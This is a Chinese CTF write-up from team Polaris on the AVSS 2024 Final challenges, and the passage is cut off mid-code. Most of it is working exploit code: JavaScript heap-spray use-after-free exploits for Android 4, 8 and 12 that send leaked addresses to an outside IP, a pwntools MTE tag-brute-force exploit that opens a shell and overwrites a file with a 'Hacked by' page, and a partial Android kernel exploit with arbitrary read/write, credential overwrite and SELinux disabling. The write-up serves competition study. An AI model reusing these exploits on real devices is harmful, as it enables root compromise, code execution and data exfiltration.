本次 AVSS 2024 Final,我们 Polaris 战队排名第1。
排名 | 队伍 | 总分 |
---|---|---|
1 | Polaris | 8440.96 |
2 | Nu1L | 5308.2 |
3 | emmmmmmm2024 | 3624.88 |
4 | AAA | 1624 |
5 | r3kapig | 820.12 |
Allocator
Android 4
先申请一些堆,间接释放后,再申请一些堆,由于UAF,此时堆指针数组里肯定有两个一样的指针,为了找出哪些数组下标里存的指针一样,可以通过show泄漏堆中的数据进行两两比较,建立一个map。然后利用UAF把其中一个下标对应的指针delete进行释放,那么此时可以通过另一个下标对释放后的堆进行操作。这里我们可以堆喷FileIO对象,堆喷成功后可以通过show泄漏so库的地址,然后伪造vtable后进行触发即可。
<!DOCTYPE html>
<html>
<head>
<title></title>
<script type="text/javascript">
var xhr = new XMLHttpRequest();
function stringToHex(str) {
var val="";
for(var i = 0; i < str.length; i++){
val += str.charCodeAt(i).toString(16);
}
return val;
}
function hexToString(hex) {
var str = '';
for (var i = 0; i < hex.length; i += 2) {
str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
}
return str;
}
var sleep = function(time) {
var startTime = new Date().getTime() + parseInt(time, 10);
while(new Date().getTime() < startTime) {}
};
function log(info) {
xhr.open('GET', 'http://47.109.49.88/' + info, true);
xhr.send();
}
function add(index,size,key) {
window._jsbridge.add(index,key,size);
//sleep(1000);
}
function edit(index,content) {
window._jsbridge.edit(index,stringToHex(content));
//sleep(500);
}
function edit_hex(index,content) {
window._jsbridge.edit(index,content);
//sleep(500);
}
function show(index,size) {
ans = window._jsbridge.show(index,size);
return ans;
}
function del(index) {
window._jsbridge.delete(index);
//sleep(500);
}
function openfile(filename,mode) {
window._jsbridge.openfile(filename,mode);
//sleep(500);
}
function writefile(content) {
window._jsbridge.writefile(stringToHex(content));
//sleep(500);
}
function writefile_hex(content) {
window._jsbridge.writefile(content);
//sleep(500);
}
function readfile() {
ans = window._jsbridge.readfile();
//sleep(500);
return ans;
}
function closefile() {
window._jsbridge.closefile();
//sleep(500);
}
function getPadding(size,c) {
var ans = '';
for (var i=0;i<size;i++) {
ans += c;
}
return ans;
}
var heap_addr=null;
var elf_base=null;
function p32(value) {
var t = value.toString(16);
while (t.length != 8) {
t = '0' + t;
}
var ans = t.substr(6,2) + t.substr(4,2) + t.substr(2,2) + t.substr(0,2);
//alert(ans);
return ans;
}
function u32(s) {
hex = stringToHex(s);
if (hex.indexOf('0x') === 0) {
hex = hex.slice(2);
}
if (hex.length % 2 !== 0) {
hex = '0' + hex;
}
var bytes = [];
for (var i = 0; i < hex.length; i += 2) {
bytes.push(hex.substr(i, 2));
}
bytes.reverse();
var littleEndianHex = bytes.join('');
return parseInt(littleEndianHex, 16);
}
//将系统中已有的0x100的碎片尽可能申请掉
for (var i=0;i<10;i++) {
add(48,0x1000,"key100");
}
add(49,0x1000,"key100");
//将系统中已有的0x10的碎片尽可能申请掉
for (var i=0;i<200;i++) {
add(0,0x4,"key10");
}
//添加一些0x90的堆
for (var i=0;i<48;i++) {
add(i,0x90,"key" + i);
edit(i,getPadding(0x90,String.fromCharCode(48+i)))
}
//间接的释放一些0x90的堆
for (var i=0;i<48;i+=2) {
del(i);
}
//重新申请0x90的堆回来
for (var i=1;i<48;i+=2) {
add(i,0x90,"key" + i);
}
//释放一个0x100的堆,用于给一些中间变量内存申请
del(48);
//查找堆块,找出具有相同堆指针的下标
map = {};
//寻找指针一样的下标
for (var i=0;i<48;i+=2) {
var x = stringToHex(getPadding(0x5,String.fromCharCode(48+i)));
for (var j=1;j<48;j+=2) {
var y = show(j,0x8);
//log("map " + x + "=" + y);
if (y.indexOf(x) != -1) {
map[i] = j;
log("map" + i + "=" + j);
break;
}
}
}
//利用UAF释放,可以在具有相同指针的另一个下标进行UAF操作
for (var i=0;i<0x48;i+=2) {
if (map[i]) {
del(i);
}
}
log("spray done");
//对gfileio结构体进行堆喷,让其落在UAF的堆中
//这里不断的openfile,然后查找内存,如果找到部分字符串ta/com.avss则堆喷成功
//注意show的参数大小size也会申请内存,会造成影响,因此采用4,影响较小
var found = -1;
var mode = -1;
for (var i=0;i<200;i++) {
openfile("for_leak",0);
//检查是否成功堆喷站位
for (var j in map) {
var y = show(map[j],0x9);
if (hexToString(y).indexOf("ta/com.a") === 0) {
//log("success0");
found = map[j];
mode = 0;
break;
} else if (y.indexOf('dc') != -1) {
//log("success1");
found = map[j];
mode = 1;
break;
}
}
if (found != -1) {
break;
}
}
var found_show = -1;
for (var j in map) {
var y = show(map[j],0x9);
if (y.indexOf("100000001300000073") != -1) {
found_show = map[j];
break;
}
}
log("found=" + found);
//log("show=" + found_show);
var gfileio_off;
if (mode == 0) {
gfileio_off = 0x38;
} else {
gfileio_off = 0x8;
}
//成功堆喷gfileio,接下来可以利用UAF进行泄漏和代码执行了
var leak = hexToString(show(found, 0x90));
var so_base = u32(leak.substring(gfileio_off, gfileio_off+4)) - 0x19bdc;
var gfileio_ptr_addr = so_base + 0x1C7C4;
var fake_vtable = so_base + 0x19CD4;
var bss = so_base + 0x1c7cc;
var leak_libc = hexToString(show(found_show, 16));
//var libc_base = u32(leak_libc.substring(12, 16)) - 0x4d100;
var libc_base = 0xb6e92000;
var system_addr = libc_base + 0x000246A0;
var arg1 = 0x61616161;
var arg2 = 0x62626262;
var msg = "so_base=" + so_base.toString(16);
msg += "&libc_base=" + libc_base.toString(16);
msg += "&system_addr=" + system_addr.toString(16);
log(msg);
var payload = stringToHex(getPadding(gfileio_off,"a"));
payload += p32(fake_vtable) + stringToHex(getPadding(0x18 - 4,"a"));
payload += p32(system_addr+1) + stringToHex(";log -t FLAG `cat /data/data/com.avss.testallocator/files/flag`;");
edit_hex(found,payload);
log("edit done");
//sleep(15000);
var payload2 = stringToHex(getPadding(0xC,"b"));
payload2 += p32(gfileio_ptr_addr)
writefile_hex(payload2);
</script>
</head>
<body>
<div>haivk</div>
</body>
</html>
Android 8
首先申请一些堆然后间接释放,堆喷fopen时创建的FILE结构体,此时间接释放的这些堆中肯定存在至少一个被堆喷为FILE结构体,利用UAF继续将这些间隔的堆释放然后重新申请,通过show泄漏堆中残留的libc指针;接下来的做法跟Android 4类似,想要找到具有同样指针的数组下标,但是由于0x18的堆太小,申请回来后内部的数据基本不是原来的(堆管理器破坏了原来的数据),因此不能直接show来获得内容然后比较。可以利用show的8字节溢出来泄漏超出8字节的内容。然后比较每个堆超出8字节的内容,如果一样则说明这两个堆指针是一样的。找到下标后进行堆喷,然后利用UAF伪造vtable并触发。
<!DOCTYPE html>
<html>
<head>
<title></title>
<script type="text/javascript">
var xhr = new XMLHttpRequest();
function stringToHex(str) {
var val="";
for(var i = 0; i < str.length; i++){
val += str.charCodeAt(i).toString(16).padStart(2,'0');
}
return val;
}
function hexToString(hex) {
var str = '';
for (var i = 0; i < hex.length; i += 2) {
str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
}
return str;
}
var sleep = function(time) {
var startTime = new Date().getTime() + parseInt(time, 10);
while(new Date().getTime() < startTime) {}
};
function log(info) {
xhr.open('GET', 'http://47.109.49.88/' + info, true);
xhr.send();
}
function add(index,size,key) {
window._jsbridge.add(index,key,size);
//sleep(1000);
}
function edit(index,content) {
window._jsbridge.edit(index,stringToHex(content));
//sleep(500);
}
function edit_hex(index,content) {
window._jsbridge.edit(index,content);
//sleep(500);
}
function show(index,size) {
ans = window._jsbridge.show(index,size);
return ans;
}
function del(index) {
window._jsbridge.delete(index);
//sleep(500);
}
function openfile(filename,mode) {
window._jsbridge.openfile(filename,mode);
//sleep(500);
}
function writefile(content) {
window._jsbridge.writefile(stringToHex(content));
//sleep(500);
}
function writefile_hex(content) {
window._jsbridge.writefile(content);
//sleep(500);
}
function readfile() {
ans = window._jsbridge.readfile();
//sleep(500);
return ans;
}
function closefile() {
window._jsbridge.closefile();
//sleep(500);
}
function getPadding(size,c) {
var ans = '';
for (var i=0;i<size;i++) {
ans += c;
}
return ans;
}
var heap_addr=null;
var elf_base=null;
function p32(value) {
var t = value.toString(16);
while (t.length != 8) {
t = '0' + t;
}
var ans = t.substr(6,2) + t.substr(4,2) + t.substr(2,2) + t.substr(0,2);
//alert(ans);
return ans;
}
function p64(value) {
var t = value.toString(16);
while (t.length != 16) {
t = '0' + t;
}
var ans = t.substr(14,2) + t.substr(12,2) + t.substr(10,2) + t.substr(8,2) + t.substr(6,2) + t.substr(4,2) + t.substr(2,2) + t.substr(0,2);
//alert(ans);
return ans;
}
function u32(s) {
hex = stringToHex(s);
if (hex.indexOf('0x') === 0) {
hex = hex.slice(2);
}
if (hex.length % 2 !== 0) {
hex = '0' + hex;
}
var bytes = [];
for (var i = 0; i < hex.length; i += 2) {
bytes.push(hex.substr(i, 2));
}
bytes.reverse();
var littleEndianHex = bytes.join('');
return parseInt(littleEndianHex, 16);
}
//泄漏libc
for (var i=0;i<10;i++) {
add(i,0xa6f-0x8,"leak");
}
for (var i=0;i<10;i+=2) {
del(i);
}
//fopen时申请的堆大小为0xa6f
for (var i=0;i<100;i++) {
openfile("libc_leak",1);
}
for (var i=0;i<10;i+=2) {
del(i);
}
var libc_base = -1;
var system_addr = -1;
var heap_addr = -1;
var leak;
for (var i=0;i<50;i++) {
add(49,0xa6f-0x8,"leak");
x = show(49,0x60);
if (x.substring(0x90,0x92) == "c0" && x.substring(0xa0,0xa2) == "c8") {
leak = hexToString(x);
libc_base = u32(leak.substring(0x48, 0x50)) - 0x731c0;
system_addr = libc_base + 0x64144;
heap_addr = u32(leak.substring(0x8, 0x10));
log("libc_base=" + libc_base.toString(16) + "&system_addr=" + system_addr.toString(16) + "&heap_addr=" + heap_addr.toString(16));
break;
}
}
//将系统中已有的0x18的碎片尽可能申请掉
for (var i=0;i<200;i++) {
add(0,0x18,"alloc");
}
//记录每个堆溢出的8字节内容
overflow_map = {};
//记录每个堆的前一个堆是哪个
prev_map = {};
prev_map_values = [];
//添加一些0x18的堆
for (var i=0;i<32;i++) {
add(i,0x18,"key" + i);
edit(i,getPadding(0x18,String.fromCharCode(48+i)))
}
//记录每个堆块的超出8字节的内容
for (var i=0;i<32;i++) {
var y = show(i,0x20).substring(0x30,0x40);
//搜索keyxxxx
overflow_map[i] = y;
var k = hexToString(y);
if (k.indexOf("key") == 0) {
var n = parseInt(k.substring(3));
log("prev_map" + n + "=" + i);
prev_map[n] = i;
prev_map_values.push(i);
}
}
//释放一些0x18的堆
for (var i=0;i<32;i++) {
//不要释放作为某个堆的前一个堆
if (prev_map_values.indexOf(i) != -1)
continue;
del(i);
}
//重新申请0x18的堆回来
for (var i=32;i<49;i++) {
add(i,0x18,"key" + i);
}
//查找堆块,找出具有相同堆指针的下标
map = {};
//寻找指针一样的下标
for (var i=0;i<32;i++) {
if (prev_map_values.indexOf(i) != -1)
continue;
var x = overflow_map[i];
for (var j=32;j<49;j++) {
var y = show(j,0x20);
//log("map " + x + "=" + y);
if (y.substring(0x30,0x40) == x) {
map[i] = j;
log("map" + i + "=" + j);
break;
}
}
}
//利用UAF释放,可以在具有相同指针的另一个下标进行UAF操作
for (var i=0;i<32;i++) {
if (map[i]) {
del(i);
}
}
log("spray done");
//对gfileio结构体进行堆喷,让其落在UAF的堆中
//这里不断的openfile,然后查找内存,如果找到部分字符串ta/com.avss则堆喷成功
//注意show的参数大小size也会申请内存,会造成影响,因此采用4,影响较小
var found = -1;
var mode = -1;
var pre = -1;
for (var i=0;i<300;i++) {
openfile("spray_gfileio",0);
//检查是否成功堆喷站位
for (var j in map) {
if (prev_map[j]) {
//log("prev_map" + j + "=" + prev_map[j]);
var y = show(prev_map[j],0x20);
if (y.substring(0x30,0x32) == "08" && y.substring(0x33,0x34) == "3") {
found = map[j];
pre = prev_map[j];
break;
}
}
}
if (found != -1) {
break;
}
}
log("found=" + found + "&pre=" + pre);
//成功堆喷gfileio,接下来可以利用UAF进行泄漏和代码执行了
leak = hexToString(show(pre, 0x20));
var so_base = u32(leak.substring(0x18, 0x20)) - 0x34308;
//ldp x1, x0, [x0, #8] ; br x1
var gadget_addr = libc_base + 0x66078;
edit_hex(49,stringToHex(getPadding(0x18,"a")) + p64(gadget_addr) + stringToHex("log -t FLAG `cat /data/data/com.avss.testallocator/files/flag`"));
var fake_vtable = heap_addr;
var msg = "so_base=" + so_base.toString(16);
log(msg);
var payload = stringToHex(getPadding(0x18,"b")) + p64(fake_vtable);
edit_hex(pre,payload);
payload = p64(system_addr) + p64(heap_addr + 0x10);
edit_hex(found,payload);
log("edit done");
//sleep(15000);
writefile("trigger");
</script>
</head>
<body>
<div>haivk</div>
</body>
</html>
Android 12
做法更加简单,找到相同指针的下标后,直接堆喷FILE结构体,泄漏地址后伪造FILE结构体中的指针。
<!DOCTYPE html>
<html>
<head>
<title></title>
<script type="text/javascript">
var xhr = new XMLHttpRequest();
function stringToHex(str) {
var val="";
for(var i = 0; i < str.length; i++){
val += str.charCodeAt(i).toString(16).padStart(2,'0');
}
return val;
}
function hexToString(hex) {
var str = '';
for (var i = 0; i < hex.length; i += 2) {
str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
}
return str;
}
var sleep = function(time) {
var startTime = new Date().getTime() + parseInt(time, 10);
while(new Date().getTime() < startTime) {}
};
function log(info) {
xhr.open('GET', 'http://47.109.49.88/' + info, true);
xhr.send();
}
function add(index,size,key) {
window._jsbridge.add(index,key,size);
//sleep(1000);
}
function edit(index,content) {
window._jsbridge.edit(index,stringToHex(content));
//sleep(500);
}
function edit_hex(index,content) {
window._jsbridge.edit(index,content);
//sleep(500);
}
function show(index,size) {
ans = window._jsbridge.show(index,size);
return ans;
}
function del(index) {
window._jsbridge.delete(index);
//sleep(500);
}
function openfile(filename,mode) {
window._jsbridge.openfile(filename,mode);
//sleep(500);
}
function writefile(content) {
window._jsbridge.writefile(stringToHex(content));
//sleep(500);
}
function writefile_hex(content) {
window._jsbridge.writefile(content);
//sleep(500);
}
function readfile() {
ans = window._jsbridge.readfile();
//sleep(500);
return ans;
}
function closefile() {
window._jsbridge.closefile();
//sleep(500);
}
function getPadding(size,c) {
var ans = '';
for (var i=0;i<size;i++) {
ans += c;
}
return ans;
}
var heap_addr=null;
var elf_base=null;
function p32(value) {
var t = value.toString(16);
while (t.length != 8) {
t = '0' + t;
}
var ans = t.substr(6,2) + t.substr(4,2) + t.substr(2,2) + t.substr(0,2);
//alert(ans);
return ans;
}
function p64(value) {
var t = value.toString(16);
while (t.length != 16) {
t = '0' + t;
}
var ans = t.substr(14,2) + t.substr(12,2) + t.substr(10,2) + t.substr(8,2) + t.substr(6,2) + t.substr(4,2) + t.substr(2,2) + t.substr(0,2);
//alert(ans);
return ans;
}
function u32(s) {
hex = stringToHex(s);
if (hex.indexOf('0x') === 0) {
hex = hex.slice(2);
}
if (hex.length % 2 !== 0) {
hex = '0' + hex;
}
var bytes = [];
for (var i = 0; i < hex.length; i += 2) {
bytes.push(hex.substr(i, 2));
}
bytes.reverse();
var littleEndianHex = bytes.join('');
return parseInt(littleEndianHex, 16);
}
//添加一些0xac0的堆
for (var i=0;i<32;i++) {
add(i,0xac0-0x8,"key" + i);
edit(i,getPadding(0xac0-0x8,String.fromCharCode(48+i)))
}
//释放一些0xac0的堆
for (var i=0;i<32;i+=2) {
del(i);
}
//重新申请0xac0的堆回来
for (var i=32;i<49;i++) {
add(i,0xac0-0x8,"key" + i);
}
//查找堆块,找出具有相同堆指针的下标
map = {};
//寻找指针一样的下标
for (var i=0;i<32;i+=2) {
var x = stringToHex(getPadding(0x10,String.fromCharCode(48+i)));
for (var j=32;j<49;j++) {
var y = show(j,0x10);
//log("map " + x + "=" + y);
if (y == x) {
map[i] = j;
log("map" + i + "=" + j);
break;
}
}
}
//利用UAF释放,可以在具有相同指针的另一个下标进行UAF操作
for (var i=0;i<32;i+=2) {
if (map[i]) {
del(i);
}
}
log("spray done");
//对FILE结构体进行堆喷,让其落在UAF的堆中
//这里不断的openfile,然后查找内存
//注意show的参数大小size也会申请内存,会造成影响
var found = -1;
var libc_base = -1;
var system_addr = -1;
var heap_addr = -1;
var leak;
for (var i=0;i<100;i++) {
openfile("spray_FILE",1);
//检查是否成功堆喷站位
for (var j in map) {
var x = show(map[j],0x60);
//log("x=" + x);
if ((x.substr(0x90,0x2) == "58" && x.substr(0xa0,0x2) == "d0")) {
leak = hexToString(x);
//__sclose
libc_base = u32(leak.substr(0x48, 8)) - 0xA8C58;
system_addr = libc_base + 0x60CC4;
heap_addr = u32(leak.substr(0x8, 6) + " ");
found = map[j];
break;
}
}
if (found != -1) {
break;
}
}
log("heap_addr=" + heap_addr.toString(16));
log("libc_base=" + libc_base.toString(16) + "&system_addr=" + system_addr.toString(16));
//log("found=" + found);
//成功堆喷FILE,接下来可以利用UAF进行泄漏和代码执行了
var payload = show(found,0x40);
payload += p64(heap_addr + 0x60)
payload += p64(system_addr);
payload += p64(0) + p64(0);
payload += p64(1);
payload += p64(heap_addr - 0x10);
payload += stringToHex('log -t FLAG `cat /data/data/com.avss.testallocator/files/flag`');
edit_hex(found,payload);
log("edit done");
//sleep(15000);
closefile();
</script>
</head>
<body>
<div>haivk</div>
</body>
</html>
MTE
HNS_PA_RW
free后没有清空指针,存在UAF
内存分配器使用的是Chromium中的PartitionAlloc分配器,该分配器在free时会对内存TAG加1,申请时如果有合适空闲堆块则直接申请出来不改变TAG。因此连续的申请释放同样大小的堆15次,可以得到与最初的堆一样的TAG,就可以对其进行进行访问了。通过堆喷Node结构体到content区,然后利用UAF控制Node结构体实现任意地址读写。调试发现在heap_addr – 0x281f0处有so中的指针,因此可以利用任意地址读写泄漏,但是此处的内存TAG不知道。调试了内核,发现一个有趣的特性,一个非法的TAG内存地址不经过用户态处理,直接传给内核系统调用,不会导致系统崩溃,只会使得内核进行el异常,内核会自动捕捉该异常并结束系统调用回到用户态。
而题目的show函数正好是这样设计的,直接把content指针交给了write系统调用。
因此可以对heap_addr – 0x281f0处的内存地址TAG进行爆破。如果write成功调用证明TAG正确。最后可以对free函数的指针进行劫持实现代码执行。
获得shell后,直接替换/sdcard/Documents/cache.html文件即可达到演示效果。
#coding:utf8
from pwn import *
#sh = process(argv=['./qemu-aarch64','-L','./','./libpa.so'])
libc = ELF('./system/lib64/libc.so')
#sh = process(argv=['./qemu-aarch64','-L','./','-g','1235','./libpa.so'])
sh = remote('192.168.10.16',12345)
#sh = remote('172.20.10.6',12345)
#libc = ELF('./libc11.so')
def add(size,content):
sh.sendlineafter('Your choice:','1')
sh.sendlineafter('size:',str(size))
sh.sendafter('content:',content)
def edit(index,content):
sh.sendlineafter('Your choice:','2')
sh.sendlineafter('index:',str(index))
sh.sendafter('content:',content)
def delete(index):
sh.sendlineafter('Your choice:','3')
sh.sendlineafter('index:',str(index))
def show(index):
sh.sendlineafter('Your choice:','4')
sh.sendlineafter('index:',str(index))
add(0x18,'a'*0x18) #0
add(0x40,'b'*0x40) #1
delete(0)
for i in range(2,16):
add(0x18,'b'*0x18)
delete(i)
delete(1)
#fake Node struct
#set size = 0x20
add(0x18,b'c'*0x8 + p32(0x20) + b'n') #16
for i in range(17,31):
add(0x18,b'd'*0x18)
delete(i)
add(0x18,b'd'*0x18) #31
show(0)
sh.recv(1)
sh.recv(0x10)
heap_addr = u64(sh.recv(8)) & 0xffffffffffff
print('heap_addr=',hex(heap_addr))
leak_ptr_addr = heap_addr - 0x281f0
print('leak_ptr_addr=',hex(leak_ptr_addr))
#guess tag
for i in range(0x10):
#fake 31 Node struct
edit(0,b'a'*0x8 + p32(0x8) + p32(0) + p64((i << 56) + leak_ptr_addr) + b'n')
show(31)
sh.recv(1)
leak_value = u64(sh.recv(8))
if leak_value & 0xFF == 0xdc:
print('found TAG=',hex(i))
break
elf_base = leak_value - 0x12adc
# ldr x9, [x21] ldr x0, [x8] ; mov x1, x19 ; blr x9
gadget_addr = elf_base + 0x9BC70
putchar_got_addr = elf_base + 0xc44a8
print('elf_base=',hex(elf_base))
#leak libc
edit(0,b'a'*0x8 + p32(0x8) + p32(0) + p64(putchar_got_addr) + b'n')
show(31)
sh.recv(1)
libc_base = u64(sh.recv(8)) - libc.sym['putchar']
system_addr = libc_base + libc.sym['system']
print('libc_base=',hex(libc_base))
print('system_addr=',hex(system_addr))
free_vtable_addr = elf_base + 0xCF148
bss = elf_base + 0xCF2E0
arg0_ptr_addr = elf_base + 0xcf000
heap_arr_addr = elf_base + 0xCF188
cmd = b'/bin/shx00'
#fake a vtable
edit(0,b'a'*0x8 + p32(0x100) + p32(0) + p64(bss) + b'n')
edit(31,cmd.ljust(0x28,b'b') + p64(system_addr) + b'n')
#set free vtable ptr to fake
edit(0,b'a'*0x8 + p32(0x100) + p32(0) + p64(free_vtable_addr) + b'n')
edit(31,p64(bss) + b'n')
#trigger
delete(31)
sleep(1)
#run shell to replace /sdcard/Documents/cache.html
sh.sendline('echo "PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+SGFja2VkIGJ5IEhhMXZrPC90aXRsZT4KICAgIDxzdHlsZT4KICAgICAgICBib2R5IHsKICAgICAgICAgICAgbWFyZ2luOiAwOwogICAgICAgICAgICBiYWNrZ3JvdW5kOiBibGFjazsKICAgICAgICAgICAgY29sb3I6ICMwMGZmMDA7CiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnQ291cmllciBOZXcnLCBDb3VyaWVyLCBtb25vc3BhY2U7CiAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47CiAgICAgICAgfQogICAgICAgIGNhbnZhcyB7CiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOwogICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICAgICAgICAgIHRvcDogMDsKICAgICAgICAgICAgbGVmdDogMDsKICAgICAgICB9CiAgICAgICAgLm1lc3NhZ2UgewogICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICAgICAgICAgIHRvcDogNTAlOwogICAgICAgICAgICBsZWZ0OiA1MCU7CiAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUsIC01MCUpOwogICAgICAgICAgICBmb250LXNpemU6IDNyZW07CiAgICAgICAgICAgIGNvbG9yOiAjMDBmZjAwOwogICAgICAgICAgICB6LWluZGV4OiAxOwogICAgICAgICAgICB0ZXh0LXNoYWRvdzogMHB4IDBweCA1cHggIzAwZmYwMDsKICAgICAgICB9CiAgICA8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5PgoKPGRpdiBjbGFzcz0ibWVzc2FnZSI+SGFja2VkIGJ5IEhhMXZrPC9kaXY+CjxjYW52YXMgaWQ9Im1hdHJpeENhbnZhcyI+PC9jYW52YXM+Cgo8c2NyaXB0PgogICAgY29uc3QgY2FudmFzID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIm1hdHJpeENhbnZhcyIpOwogICAgY29uc3QgY3R4ID0gY2FudmFzLmdldENvbnRleHQoIjJkIik7CgogICAgY2FudmFzLndpZHRoID0gd2luZG93LmlubmVyV2lkdGg7CiAgICBjYW52YXMuaGVpZ2h0ID0gd2luZG93LmlubmVySGVpZ2h0OwoKICAgIGNvbnN0IGNoYXJhY3RlcnMgPSAiMDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpAIyQlXiYqKCkiOwogICAgY29uc3QgZm9udFNpemUgPSAxNjsKICAgIGNvbnN0IGNvbHVtbnMgPSBjYW52YXMud2lkdGggLyBmb250U2l6ZTsKCiAgICBjb25zdCBkcm9wcyA9IFtdOwogICAgZm9yIChsZXQgeCA9IDA7IHggPCBjb2x1bW5zOyB4KyspIHsKICAgICAgICBkcm9wc1t4XSA9IE1hdGgucmFuZG9tKCkgKiBjYW52YXMuaGVpZ2h0OwogICAgfQoKICAgIGZ1bmN0aW9uIGRyYXcoKSB7CiAgICAgICAgY3R4LmZpbGxTdHlsZSA9ICJyZ2JhKDAsIDAsIDAsIDAuMDUpIjsKICAgICAgICBjdHguZmlsbFJlY3QoMCwgMCwgY2FudmFzLndpZHRoLCBjYW52YXMuaGVpZ2h0KTsKCiAgICAgICAgY3R4LmZpbGxTdHlsZSA9ICIjMDBmZjAwIjsKICAgICAgICBjdHguZm9udCA9IGZvbnRTaXplICsgInB4IG1vbm9zcGFjZSI7CgogICAgICAgIGZvciAobGV0IGkgPSAwOyBpIDwgZHJvcHMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgY29uc3QgdGV4dCA9IGNoYXJhY3RlcnNbTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogY2hhcmFjdGVycy5sZW5ndGgpXTsKICAgICAgICAgICAgY3R4LmZpbGxUZXh0KHRleHQsIGkgKiBmb250U2l6ZSwgZHJvcHNbaV0gKiBmb250U2l6ZSk7CgogICAgICAgICAgICBpZiAoZHJvcHNbaV0gKiBmb250U2l6ZSA+IGNhbnZhcy5oZWlnaHQgJiYgTWF0aC5yYW5kb20oKSA+IDAuOTc1KSB7CiAgICAgICAgICAgICAgICBkcm9wc1tpXSA9IDA7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGRyb3BzW2ldKys7CiAgICAgICAgfQogICAgfQoKICAgIHNldEludGVydmFsKGRyYXcsIDMzKTsKCiAgICB3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigncmVzaXplJywgKCkgPT4gewogICAgICAgIGNhbnZhcy53aWR0aCA9IHdpbmRvdy5pbm5lcldpZHRoOwogICAgICAgIGNhbnZhcy5oZWlnaHQgPSB3aW5kb3cuaW5uZXJIZWlnaHQ7CiAgICB9KTsKPC9zY3JpcHQ+Cgo8L2JvZHk+CjwvaHRtbD4K" | base64 -d > /sdcard/Documents/cache.html')
sleep(2)
sh.interactive()
Kernel: ksocket
Android 7 – Pixel 1
在sys_avss_getscore函数中,fput的位置不对,在fput的后面,此时如果有其他进程对sockfd进行close,将会释放sock * sk对象,但是sk指针仍然会在后面的代码中使用,造成UAF。为了让漏洞竞争成功率更高,可以让程序走到msleep分支。要走到此分支,需要get_avss_status返回2
即需要avss->peer不为空。
也就是有一个客户端client,对server进行connect后,server->peer = client;只要不对client进行close,则server->peer将一直不为0。因此我们有足够的时间可以制造sock *对象的UAF,然后利用setxattr伪造sock *对象。
sys_avss_getscore函数尾部主要是调用了sock_put(sk)。
通过对sock_put的逆向,调用链有sock_put -> sk_free -> __sk_free,其中__sk_free中有一个函数指针调用
我们可以寻找合适的gadget,执行kernel_setsockopt,我们的目标是执行kernel_setsockopt中的set_fs(KERNEL_DS),但是不要执行尾部的set_fs(oldfs)。
这就需要伪造sock->ops->setsockopt为其他合适的gadget。由于ARM64的特性,BLR并不会将返回地址压栈溢,因此只需要再调用一层同样栈大小的函数__sk_backlog_rcv,该函数可以进一步执行一个新的函数指针。只需要在该函数内部执行add rsp , xxxx ; ret调整栈,ret会返回到__sk_backlog_rcv,此时__sk_backlog_rcv的栈与kernel_setsockopt的栈是同一个,__sk_backlog_rcv会直接返回到kernel_setsockopt的上层__sk_free,因此绕过了kernel_setsockopt尾部的set_fs(old_fs)。
函数执行完后会一路返回到用户态。由于set_fs(old_fs)没有执行,此时用户态可以直接读写内核地址空间。任意地址读写原语如下。
int read_at_address_pipe(void* address, void* buf, ssize_t len) {
int ret = 1;
int pipes[2];
if(pipe(pipes))
return 1;
if(write(pipes[1], address, len) != len)
goto end;
if(read(pipes[0], buf, len) != len)
goto end;
ret = 0;
end:
close(pipes[1]);
close(pipes[0]);
return ret;
}
int write_at_address_pipe(void* address, void* buf, ssize_t len) {
int ret = 1;
int pipes[2];
if(pipe(pipes))
return 1;
if(write(pipes[1], buf, len) != len)
goto end;
if(read(pipes[0], address, len) != len)
goto end;
ret = 0;
end:
close(pipes[1]);
close(pipes[0]);
return ret;
}
搜索cred结构体然后直接改写uid等字段实现root,通过任意地址读写,改写selinux_enforcing为0,关闭selinux。
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/xattr.h>
#include <netinet/in.h>
#include <linux/socket.h>
#include <linux/unistd.h>
#include <sched.h>
#define AF_AVSS 1024
#define AVSS_PORT 2024
/*my custom kernel
uint64_t kernel_setsockopt = 0xFFFFFFC0004E3F70;
uint64_t ksymtab___sk_backlog_rcv = 0xFFFFFFC0007A70B8;
uint64_t add_sp_40_ret = 0xFFFFFFC0004EB048;
#define INIT_TASK 0xFFFFFFC00089A1E0
#define TASK_OFFSET 0x240
#define PID_OFFSET 0x300
#define PTR_CRED_OFFSET 0x498
*/
//pixel 1 kernel
uint64_t kernel_setsockopt = 0xFFFFFFC000C402FC;
uint64_t ksymtab___sk_backlog_rcv = 0xFFFFFFC00106D740;
uint64_t add_sp_40_ret = 0xffffffc0000954fc;
size_t selinux_enforcing = 0xFFFFFFC001716ACC;
#define INIT_TASK 0xFFFFFFC001522120
#define TASK_OFFSET 0x3a8
#define PID_OFFSET 0x468
#define PTR_CRED_OFFSET 0x610
struct avss_addr {
sa_family_t avss_family;
uint16_t year;
uint32_t id;
} __attribute__((packed));
struct avss_data {
uint8_t score;
char buff[128];
} __attribute__((packed));
int create_server(int year,int id) {
int sockfd;
struct avss_addr addr;
sockfd = socket(AF_AVSS, SOCK_DGRAM, 0);
if (sockfd < 0) {
perror("socket failed");
return -1;
}
